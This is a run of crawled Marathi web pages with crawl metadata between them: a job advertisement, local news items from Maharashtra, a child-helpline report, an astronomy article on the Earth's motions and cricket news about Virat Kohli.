जागा\nशैक्षणिक पात्रता : ०१) विधी पदवी ०२) ०३ वर्षे अनुभव\nवयाची अट : ३३ वर्षे\nसूचना - वयाची अट : [SC/ST - ०५ वर्षे सूट, OBC - ०३ वर्षे सूट]\nशुल्क : २५/- [SC/ST/माजी सैनिक - शुल्क नाही]\nवेतनमान (Pay Scale) : १६५००/- रुपये ते १,४०,०००/- रुपये\nसविस्तर माहितीसाठी कृपया जाहिरात पाहा.\nटीप: आपले वय मोजण्याकरिता Age Calculator चा वापर करावा.\nफॉर्म भरण्याचा अंतिम दिनांक : 4 May, 2018\nNote: नवीन जाहिरातींचे सर्वात जलद अपडेट्स मिळवण्यासाठी \"www.MahaNMK.com\" या संकेतस्थळाला दररोज भेट द्या\n〉 नगरपरिषद देऊळगाव राजा, जि. बुलढाणा येथे 'वीजतंत्री' पदांची ०१ जागा\n〉 श्री गुरु गोबिंद सिंहजी इंजिनीअरिंग अँड टेक्नॉलॉजी, नांदेड येथे 'रिसर्च फेलो' पदांच्या जागा\n〉 कॅन्टोनमेंट बोर्ड देवळाली येथे 'सहाय्यक आरोग्य निरीक्षक' पदांच्या ०२ जागा\n〉 लोणार नगर परिषद [Lonar Nagar Parishad] बुलढाणा येथे 'स्थापत्य अभियंता' पदांची ०१ जागा\n〉 भारत हेवी इलेक्ट्रिकल लिमिटेड [BHEL] नागपूर येथे 'अर्धवेळ वैद्यकीय सल्लागार' पदांची ०१ जागा\n〉 झारखंड उच्च न्यायालय [Jharkhand High Court] रांची येथे विविध पदांच्या ७३ जागा\n〉 शासकीय अध्यापक महाविद्यालय मुंबई येथे 'सहायक प्राध्यापक' पदांच्या ०४ जागा\n〉 सोलापूर जिल्हा मध्यवर्ती सहकारी बँक मर्यादित येथे 'संगणक सल्लागार' पदांच्या जागा\n〉 राज्यसेवा प्रश्नपत्रिका संच\n〉 RRB भारतीय रेल्वेच्या ग्रुप-डी परीक्षा प्रवेशपत्र\n〉 जिल्हा निहाय जाहिराती\n〉 शैक्षणिक पात्रतेनुसार जाहिराती.\n〉 माहिती व जनसंपर्क विभाग.\n〉 महाराष्ट्र लोकसेवा आयोग.\n〉 केंद्रीय लोकसेवा आयोग.\n〉 स्टाफ सलेक्शन कमिशन.\n〉 महिला व बालविकास विभाग.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00385.warc.wet.gz", "language": "mr", "language_score": 0.83, "bucket": "all"} {"url": "http://amp.esakal.com/paschim-maharashtra/kolhapur-news-world-women-day-special-101780", "date_download": "2018-09-25T17:16:07Z", "digest": "sha1:SWT6NPZ7ND24HAWT6SLAO76YLBEJ7RUK", "length": 10607, "nlines": 50, "source_domain": "amp.esakal.com", "title": "Kolhapur News world women day special इडली-वडा..संसाराचा गाडा.. | eSakal", "raw_content": "\nसुधाकर काशीद | गुरुवार, 8 मार्च 2018\nकोल्हापूर - रोज पहाटे चार वाजता यांचा दिवस सुरू होतो. इडली, वड्याच्या पिठाचा गरगराट सुरू होतो. सकाळी बरोबर सात वाजता त्यांचा छोटा टेम्पो महावीर उद्यानाजवळ येतो आणि तेथून पुढे सकाळी दहा वाजेपर्यंत इडली, वडा खाणाऱ्या खवय्यांच्या गराड्यात त्यांचा हात एखाद्या यंत्रासारखा हलू लागतो.\nकोल्हापूर - रोज पहाटे चार वाजता यांचा दिवस सुरू होतो. इडली, वड्याच्या पिठाचा गरगराट सुरू होतो. सकाळी बरोबर सात वाजता त्यांचा छोटा टेम्पो महावीर उद्यानाजवळ येतो आणि तेथून पुढे सकाळी दहा वाजेपर्यंत इडली, वडा खाणाऱ्या खवय्यांच्या गराड्यात त्यांचा हात एखाद्या यंत्रासारखा हलू लागतो. गरम गरम इडली आणि वड्याची ऑर्डर घेता घेता यांना घाम फुटतो. पण जराही गडबड, गोंधळ न होता, त्यांचा व्यवसाय सहा तासांत किमान चारशे जणांना तृप्त करून त्या दिवसापुरता थांबतो.\nकोल्हापुरात महावीर उद्यानाजवळ रोज सकाळी सात ते दहा वेळेतच इडली, वड्यासाठी अक्षरश: रांग लागणाऱ्या कोमल विजय कमलाकर यांच्या व त्यांच्या कुटुंबीयांच्या जिद्दीची ही कथा आहे. महिलांच्या वाट्याला कष्ट जरूर असते; पण आसपासच्या परिस्थितीचा, बदलत्या गरजांचा अभ्यास करून महिला एखाद्या व्यवसायात उतरल्या तर त्या अक्षरश: क्रांती कशी करू शकतात, याचेही हे उदाहरण आहे.\nमहिलांनी थोडी मानसिकता बदलून परिस्थितीला सामोरे गेले, तर यश फार लांब नाही. आम्ही रस्त्याकडेला इडली, वडा विकतो म्हटल्यावर हे हलके काम समजून काहींनी नाके मुरडली; पण नाके मुरडणाऱ्यांकडे लक्ष द्यायचे नाही. जग काय म्हणेल असली चिंता तर अजिबात करायची नाही, अशी भूमिका घेतल्यामुळेच आज आमच्या इडलीला कोल्हापुरात मान आहे. आणि तो मान कष्टाचा आहे. - कोमल विजय कमलाकर\nमहावीर उद्यानाजवळ एका हॉलची देखरेख व सफाई काम करत विजय कमलाकर त्यांची आई, भाऊ तानाजी, पत्नी कोमल राहात होते. वॉचमन कम मुकादम अशा स्वरूपाच्या या नोकरीत तुटपुंजीच मिळकत होती. त्यामुळे विजयची आई व पत्नी कोमल यांनी काहीतरी उदरनिर्वाहाचे वेगळे साधन म्हणून हातगाडीवर इडली, वडा विक्री सुरू केली. पटणार नाही, सुरुवातीला कशाबशा पंधरा ते वीस इडल्या खपायच्या. पण महिलांच्या हातात चवीची एक अदृश्‍य ताकद असते. तशीच ताकद या दोघींच्या हातात होती व त्या ताकदीवर त्यांनी इडली व वड्याला एक छानशी चव मिळवून दिली आणि बघता बघता आज आठ वर्षांत त्यांच्या इडलीची चव कोल्हापूरकरांच्या जिभेवर जाऊन पोहोचली. आज महावीर उद्यानाजवळ जशी सकाळी फिरायला येणाऱ्यांची गर्दी असते, तेवढीच गर्दी इडली, वडा खाण्यासाठी असते. विजय, कोमल, सोनल, तानाजी, लक्ष्मी अशा पाचजणांना खवय्यांची गर्दी आवरावी लागते.\nयातल्या इडली, वड्याच्या चवीचा भाग वेगळा. पण महिलांची जिद्द किती परिणामकारक असू शकते, याचे हे उदाहरण आहे. या महिला रोज पहाटे चार वाजता त्यांच्या तयारीला लागतात. टेंपो घेऊन महावीर उद्यानाजवळ येतात. टिप्पीरा असणारी इडली व त्यासोबत खाईल तेवढी चटणी खवय्यांना देतात. एका वेळी दहा ते पंधराजण डिशसाठी हात पुढे पुढे करतात. पण दादा, मामा, भाऊ, काका एक मिनिट, एक मिनिट असे करत करत दहा वाजेपर्यंत स्वत:ला पूर्णत: वाहून घेतात. त्यानंतर आपल्या कुटुंबाच्या कामाला लागतात.\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\nखरसुंडीत सिद्धनाथ मंदिरात सेवेकरी व देवस्थान ट्रस्ट यांच्यात जोरदार वाद\nआटपाडी : खरसुंडी येथील सिद्धनाथ मंदिरांत पौर्णिमेनिमित्त दर्शनबारीत केलेल्या बदलावरुन सेवेकरी व देवस्थान ट्रस्ट यांच्यात जोरदार वाद झाला....\nतहसिलचा ताबा घेऊन तेथे आंदोलन करू असा इशारा : राजू देसले\nनांदगाव : तालुक्यातील प्रशासकीय यंत्रणा उदासीन असल्याने न्यायिक हक्काच्या मागण्यासाठी आज काढण्यात आलेला मोर्चा हा शेवटचा असून यापुढे मोर्चा...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00386.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/uttar-maharashtra/shivsenas-movement-41139", "date_download": "2018-09-25T17:37:51Z", "digest": "sha1:RZ2VGCKMEL536Q6J6X6I4JIQR5ELNGBG", "length": 11884, "nlines": 172, "source_domain": "www.esakal.com", "title": "Shivsena's movement लघुपाटबंधारे विभागात शिवसेनेचे धरणे आंदोलन | eSakal", "raw_content": "\nलघुपाटबंधारे विभागात शिवसेनेचे धरणे आंदोलन\nशुक्रवार, 21 एप्रिल 2017\nमालेगाव - तालुक्‍यातील बोरी, अंबेदरी, लुल्ले व दहिकुटे या धरणांतून जाणाऱ्या कच्च्या कालव्यातून बंदिस्त जलवाहिनी टाकण्यासंदर्भाचा प्रस्ताव तयार न केल्याच्या निषेधार्थ शिवसेनेने लघुपाटबंधारे विभागाच्या कार्यकारी अभियंत्यांच्या दालनात ठिय्या आंदोलन केले.\nमालेगाव - तालुक्‍यातील बोरी, अंबेदरी, लुल्ले व दहिकुटे या धरणांतून जाणाऱ्या कच्च्या कालव्यातून बंदिस्त जलवाहिनी टाकण्यासंदर्भाचा प्रस्ताव तयार न केल्याच्या निषेधार्थ शिवसेनेने लघुपाटबंधारे विभागाच्या कार्यकारी अभियंत्यांच्या दालनात ठिय्या आंदोलन केले.\nपक्षाचे शहरप्रमुख रामा मिस्तरी व कैलास तिसगे यांच्या नेतृत्वाखाली आंदोलन करण्यात आले. हा प्रस्ताव ३० एप्रिलपर्यंत तयार करण्याचे आश्‍वासन दिल्यानंतर आंदोलन मागे घेण्यात आले. माळमाथ्यावरील बोरी, अंबेदरी, लुल्ले व दहिकुटे या धरणांतून जाणाऱ्या कच्च्या कालव्यातून जलवाहिनी टाकण्याच्या कामाचा प्रस्ताव तयार करण्याची सूचना सहा महिन्यांपूर्वी ग्रामविकास राज्यमंत्री दादा भुसे यांनी संबंधित अधिकाऱ्यांना दिली होती. या सूचनेची दखल घेतली नाही.\nशिवसेना कार्यकर्त्यांनी लघुपाटबंधारे कार्यालयात जाऊन जाब विचारला. कार्यकारी अभियंता गुप्ता यांनी ३० एप्रिलपर्यंत प्रस्ताव शासनाला पाठविण्याचे आश्‍वासन दिल्यानंतर ठिय्या आंदोलन संपले. आंदोलनात भारत रायते, विजय गवळी, सुनील चांगरे, प्रवीण देसले, मकबुल अहमद, भय्या म्हसदे, प्रकाश भडांगे, गुड्डू उशिरे, सुनील देवरे, खंडू उशिरे, भारत सूर्यवंशी, अनिल पवार, सोमन्ना गवळी, सुधाकर जोशी सहभागी झाले होते.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nउदयनराजेंच्या उमेदवारीवर शरद पवारांचे स्पष्टीकरण\nपुणे- राष्ट्रवादी काँग्रेसचे खासदार उदयनराजे यांच्या उमेदवारीला साताऱ्यातील पक्षाच्या आमदारांचा विरोध नसल्याचे स्पष्टीकरण पक्षाचे अध्यक्ष शरद पवार...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nउदयनराजेंबाबत शरद पवारांचा 'यॉर्कर' \nसातारा : उदयनराजेंच्या उमेदवारीला सातारा जिल्ह्यातील राष्ट्रवादीच्या आमदारांचा विरोध अशा बातम्या पसरत आहेत. तोपर्यंतच राष्ट्रवादी काँग्रेसचे...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00386.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://www.60secondsnow.com/mr/india/child-helpline-received-1-36-cr-silent-calls-in-3-years-1097230.html", "date_download": "2018-09-25T17:06:55Z", "digest": "sha1:SDT4NSFQNI4AD2VSBLM6RPJUMXGJU3TP", "length": 6586, "nlines": 48, "source_domain": "www.60secondsnow.com", "title": "चाइल्ड हेल्पलाइनला ३ वर्षात ३.४ कोटी कॉल्स | 60SecondsNow", "raw_content": "\nचाइल्ड हेल्पलाइनला ३ वर्षात ३.४ कोटी कॉल्स\nचाइल्ड हेल्पलाइनला एप्रिल २०१५ पासून यावर्षीच्या मार्च महिन्यांपर्यंत ३.४ कोटींहून अधिक कॉल्स आले आहेत. यामध्ये जवळपास १.३६ कोटी फोन कॉल्स हे सायलेंट कॉल्स होते, अशी माहिती आता समोर आली आहे. या कॉल्समध्ये बॅकग्राऊंडचा आवाज येत होता. काही वेळा कॉल करणारा शांत बसायचा. त्याला वाटणारी भीती, त्याच्यावर असणारे दडपण, त्याची मानसिकता या सर्वांना झुगारुन त्यानं चाइल्ड हेल्पलाइनला फोन केल्याचे समोर आले.\nमोहम्मद शहजादचे शानदार शतक, अफगाणिस्तानचे भारतासमोर 253 धावांचे लक्ष्य\nआशिया कप स्पर्धेतील आजच्या सामन्यात अफगाणिस्तानच्या मोहम्मद शहजादने शानदार शतकीय पारी खेळत अफगाणिस्तानचा डाव सांभाळला आहे. एकीकडे सर्व विकेट पडत असताना शहजाद भारतीय गोलंदाजांची धुलाई करत होता. त्यांने 116 चेंडूत 11 चौकार आणि 7 षटकाराच्या जोरावर 124 धावा केल्या. त्याला मोहम्मद नबीने अर्धशतकीय पारी खेळत चांगली साथ दिली. या दोघांच्या फलंदाजीच्या जोरावर अफगाण टीमने 50 षटकांत 252 धावा केल्या.\nआधार कार्डच्या वैधतेवर उद्या सुप्रीम कोर्टाचा निर्णय\nदीर्घ काळापासून चर्चेचा विषय असलेल्या आधार कार्डच्या वैधानिकतेवरून सर्वोच्च न्यायालय बुधवारी आपला निर्णय देणार आहे. आधारच्या वैधानिकतेला आव्हान देणाऱ्या २७ याचिकांवर सुमारे चार महिन्यांपासून सुनावणी सुरु होती. मॅरेथॉन चर्चेनंतर सर्वोच्च न्यायालयाने मे मध्ये निर्णय सुरक्षित ठेवला होता. या प्रकरणाची सुनावणी जानेवारीमध्ये सुरु झाली होती. त्यानंतर सुमारे ३८ दिवस याप्रकरणी सुनावणी चालली\nनारायण राणेंच्या कट्टर समर्थक आमदाराचे भाजप प्रवेशाचे स्पष्ट संकेत\nस्वतःच्या पोस्टरवर मुख्यमंत्री देवेंद्र फडणवीस यांचा फोटो लावणारे काँग्रेस आमदार कालिदास कोळंबकर यांनी आता भाजपा प्रवेशाचे स्पष्ट संकेत दिलेत. मुख्यमंत्री आपल्या मतदारसंघातले प्रश्न सोडवत असतील, तर त्यांचे आभार मानण्यात गुन्हा तो काय असा उलटप्रश्न त्यांनी विचारलाय. बीडीडी चाळ पुनर्विकास भूमीपूजनाच्या व्यासपीठावर मुख्यमंत्र्यांसोबत असल्यामुळं काँग्रेसच्या होर्डिंगवरून आपले फोटो काढून टाकले.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00387.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "http://avakashvedh.com/lekh/pruthvichi_tisari_gati.html", "date_download": "2018-09-25T17:12:54Z", "digest": "sha1:5Q4IDEIOC3Q25M5KQPQATU53FGFLHQZ2", "length": 9592, "nlines": 127, "source_domain": "avakashvedh.com", "title": "Avakashvedh - First Marathi Website on Astronomy", "raw_content": "\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राची सुरुवात कशी कराल\nअवकाशवेध.कॉम वरील लेख आणि कथा वाचण्यासाठी इथे क्लिक करा.\nसूर्यानंतरच्या २० तेजस्वी तारका\nकाही महत्त्वाच्या रुपविकारी तारका\nअवकाशातील ११० मेसियर वस्तू\nकृष्णविवर - अवकाशातील विवर\n- मर्यादित आणि व्यापक\nखगोलशास्त्रावरील विविध प्रश्नोत्तरे पाहण्यासाठी इथे क्लिक करा.\nबुध ग्रह दिसण्याच्या तारखा,\nवेळ व त्यांचे स्थान\nइतर ग्रहांवर आपले वजन पहा\nइतर ग्रहांवर आपले वय पहा\nहाताच्या सहाय्याने तार्‍यांमधिल अंतर मोजणे\nधूमकेतूंना नावे देण्याची पद्धती\n२००१ ते २०२९ : शनी ग्रहाच्या\nसूर्य ग्रहण : २००९ - २०१२\nचंद्रग्रहण : २००९ - २०१५\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nखगोलीय अंतरे मोजण्याच्या पद्धती\nअवकाशीय वस्तू पाहण्याची क्षमता\nआम्ही केलेली निरीक्षणे पाहण्यासाठी क्लिक करा.\nअवकाशवेध.कॉमचे मोफत सभासद होण्यासाठी इथे क्लिक करा.\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nपृथ्वी स्वतःभोवती फिरते आणि ती स्वतःभोवती फिरता-फिरता सूर्याभोवती फिरते. पृथ्वीच्या स्वतःभोवती फिरण्याने एक दिवस पूर्ण होतो तर सूर्याभोवती एक फेरी पूर्ण केल्याने एक वर्ष होते अथवा एका वर्षामध्ये पृथ्वी सूर्याभोवती एक फेरी पूर्ण करते. प्रत्यक्षात या दोन गती व्यतिरिक्त पृथ्वी अजूनही इतर गतीमध्ये फिरते पण त्याची माहिती शक्यतो कमी लोकांना असते.\nपृथ्वी स्वतःभोवती तीच्या अक्षाभोवती फिरते. खालील चित्रामध्ये पृथ्वीचा अक्ष दाखविलेला आहे.\nपृथ्वीचा अक्ष सरळ नसून तो थोडासा म्हणजेच २३.५० अंशांनी कललेला आहे. म्हणजेच पृथ्वी सरळ उभी नसून ती थोडीशी तिरकी आहे. हा पृथ्वीचा कललेल्या अक्ष देखिल स्थिर नसून २६,००० वर्षांमध्ये तो गोल फिरतो.\nपृथ्वीचा अक्ष सरळ नसून तो २३.५ अंशांनी कललेला आहे.\nखालील चित्रामध्ये पृथ्वीच्या अक्षाची फेरी दाखविली आहे. तीला 'परांचन गती' (इंग्रजीमध्ये तिला Precession Motion) असे म्हणतात.\nअसे असले तरी प्रत्यक्षात पृथ्वीच्या तीन नसून इतरही गती आहेत आणि चौथी गती म्हणजे सूर्यमालेमध्ये सूर्याबरोबर फिरता-फिरता सूर्यमालेसोबत आकाशगंगेमध्ये पुढे सरकत आकाशगंगेमध्ये फेरी पूर्ण करणे. पृथ्वीची पाचवी गती म्हणजे पृथ्वीचा अक्ष देखिल गोल फिरतो म्हणजेच हजारो वर्षांच्या काळामध्ये पृथ्वीचा उत्तर अक्ष दक्षिणेला तर दक्षिण अक्ष उत्तरेला असा फिरतो.\nअक्षरांचा आकार वाढवा / अक्षरांचा आकार पुर्ववत करा\nअवकाशवेध.कॉम वरील माहिती संबंधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00388.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://mahasports.co.in/5000-test-runs-virat-kohli-test/", "date_download": "2018-09-25T17:00:47Z", "digest": "sha1:ZFVJ522T2NNFK4LGMQ5IN6UUBTWHGGNA", "length": 6701, "nlines": 70, "source_domain": "mahasports.co.in", "title": "२५ धावा आणि विराट कोहली कपिल-सचिनसारख्या दिग्गजांच्या यादीत ! -", "raw_content": "\n२५ धावा आणि विराट कोहली कपिल-सचिनसारख्या दिग्गजांच्या यादीत \n२५ धावा आणि विराट कोहली कपिल-सचिनसारख्या दिग्गजांच्या यादीत \n दिल्ली कसोटीत विराट कोहलीने जर २५ धावा केल्या तर कसोटीत ५००० धावा करणारा तो ११वा भारतीय खेळाडू बनेल. भारतीय संघ २०१७मध्ये शेवटचा कसोटी सामना २ डिसेंबरपासून श्रीलंका संघाविरुद्ध दिल्ली येथे खेळणार आहे.\nविराटने कसोटी क्रिकेटमध्ये ६२ सामन्यात १०४ डावात ५१.८२च्या सरासरीने ४९७५ धावा केल्या आहेत. त्यात त्याच्या १९ शतके आणि १४ अर्धशतकांचा समावेश आहे.\nकसोटी क्रिकेटमध्ये जगात तब्बल ९३ फलंदाजांनी ५ हजार धावा केल्या आहेत. त्यात १० भारतीय खेळाडू आहेत.\nभारताकडून कसोटी क्रिकेटमध्ये ज्या खेळाडूंनी कमीतकमी २ हजार धावा केल्या आहेत त्यात विराट कोहली हा असा एकमेव खेळाडू आहे ज्याने अर्धशतकांपेक्षा जास्त शतके केली आहेत.\nभारताकडून कसोटीत ५हजार धावा करणारे खेळाडू\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00388.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://amp.esakal.com/pune/firangai-devi-utsav-celebrated-106169", "date_download": "2018-09-25T17:35:46Z", "digest": "sha1:5USIIVEYK7CITPBKH6N62QYZOH5LAFBE", "length": 9204, "nlines": 56, "source_domain": "amp.esakal.com", "title": "firangai devi utsav is celebrated दापोडीत श्री. फिरंगाई देवीचा उत्सव सुरू | eSakal", "raw_content": "\nदापोडीत श्री. फिरंगाई देवीचा उत्सव सुरू\nसकाळ वृत्तसेवा | गुरुवार, 29 मार्च 2018\nजुनी सांगवी - दापोडी येथील ग्रामदैवत श्री.फिरंगाई देवीचा उत्सव सुरू आहे. या देवीचे मुळस्थान पुणे जिल्ह्यातील व दौंड तालुक्यातील कुरकुंभ या गावी आहे. दापोडी स्थित फिरंगाई उत्सवा दरम्यान विविध धार्मिक कार्यक्रमांचे आयोजन करण्यात आले आहे. यामध्ये फिरंगाई महिला भजनी मंडळ, विठ्ठल रूक्मिणी महिला भजनी मंडळ, संत्सग महिला भजनी मंडळ, गणेश नगर महिला भजनी मंडळ, विठ्ठल रूक्मिणी महिला भजनी मंडळ पवारवस्ती, श्री.फिरंगाई देवी जागरण गोंधळ पार्टी यांचा भजनांचा कार्यक्रम यानिमित्ताने होणार आहे.\nजुनी सांगवी - दापोडी येथील ग्रामदैवत श्री.फिरंगाई देवीचा उत्सव सुरू आहे. या देवीचे मुळस्थान पुणे जिल्ह्यातील व दौंड तालुक्यातील कुरकुंभ या गावी आहे. दापोडी स्थित फिरंगाई उत्सवा दरम्यान विविध धार्मिक कार्यक्रमांचे आयोजन करण्यात आले आहे. यामध्ये फिरंगाई महिला भजनी मंडळ, विठ्ठल रूक्मिणी महिला भजनी मंडळ, संत्सग महिला भजनी मंडळ, गणेश नगर महिला भजनी मंडळ, विठ्ठल रूक्मिणी महिला भजनी मंडळ पवारवस्ती, श्री.फिरंगाई देवी जागरण गोंधळ पार्टी यांचा भजनांचा कार्यक्रम यानिमित्ताने होणार आहे.\nश्री.देवीच्या पालखीचे प्रस्थान संध्याकाळी कुरकुंभ येथे पालखीच्या मानकऱ्यासह होणार आहे. आज श्री.नितीन काळजे (महापौर पिंपरी चिंचवड) यांच्या हस्ते सायंकाळी ७ वाजता दापोडी येथे श्री.फिरंगाई देवीची आरती व महापुजा करण्यात येणार आहे. महापुजेनंतर श्रींच्या पालखी छबिना सोहळ्याची सुरूवात होणार आहे. यावेळी नगरसेवक रोहित आप्पा काटे, राजाभाऊ बनसोडे, स्वातीमाई काटे, आशाताई शेंडगे, नाना काटे, राजाभाऊ काटे, अविनाश काटे, संतोष काटे, वसंत काटे, विजय किंडरे, ज्ञानेश्वर भाडाळे, आदेश काटे आदि ग्रामस्थ उपस्थित राहणार आहेत .\nतसेच श्री.फिरंगाई देवीच्या उत्सवानिमित्त भव्य कुस्त्यांचा आखाडा गुरुवार ता. ३० आखाडा, दापोडी रेल्वे स्टेशन मागे, शितळादेवी चौक, दापोडी येथे संपन्न होणार आहे.\nमहिलांच्या कुस्त्यांनी आखाडा रंगणार कुस्त्यांच्या या मैदानी खेळात महिलांनी सहभाग नोंदवल्याने कुस्त्या पाहण्यासाठी कुस्ती शौकीन व महिला मोठ्या प्रमाणावर येणार असल्याचे उत्सव समितीच्या वतीने सांगण्यात आले. या खेळादरम्यान भारत केसरी पै.योगेश बोंबाळे विरुद्ध उपमहाराष्ट्र केसरी पै.बाला रफीक यांच्या कुस्तीचे मुख्य आकर्षण राहणार आहे. विजयी कुस्तीगिरांना अकरा लाख रूपयांची बक्षिसे देण्यात येणार आहेत. तसेच नगरसेवक रोहित आप्पा काटे यांच्या कडुन चांदीची गदा देण्यात येणार आहे.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\n...अन् आजीबाई थोडक्यात बचावल्या\nमनमाड : दैव बलवत्तर म्हणून समोरून धडधडत येणारा काळ अगदी जवळून निघून गेला आणि आजीबाईच्या जीवात जीव आला. मनमाड रेल्वे स्थानकावर रेल्वे...\nदुष्काळातही शेतकरी आशावादी ; ज्वारीची पेरणी सुरू\nकरमाळा : करमाळा तालुक्‍यात पावसाने ओढ दिली आहे. खरिपाची पिके अक्षरशः करपून गेली. काहीही खरीप हाती लागले नाही. तरीही आशावाद जीवंत ठेवत शेतकऱ्यांनी...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00389.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/horoscope/page/28", "date_download": "2018-09-25T17:16:21Z", "digest": "sha1:3Y7J3XU6OIKAY7RIBBGBEVBSVLHCRH2E", "length": 8323, "nlines": 50, "source_domain": 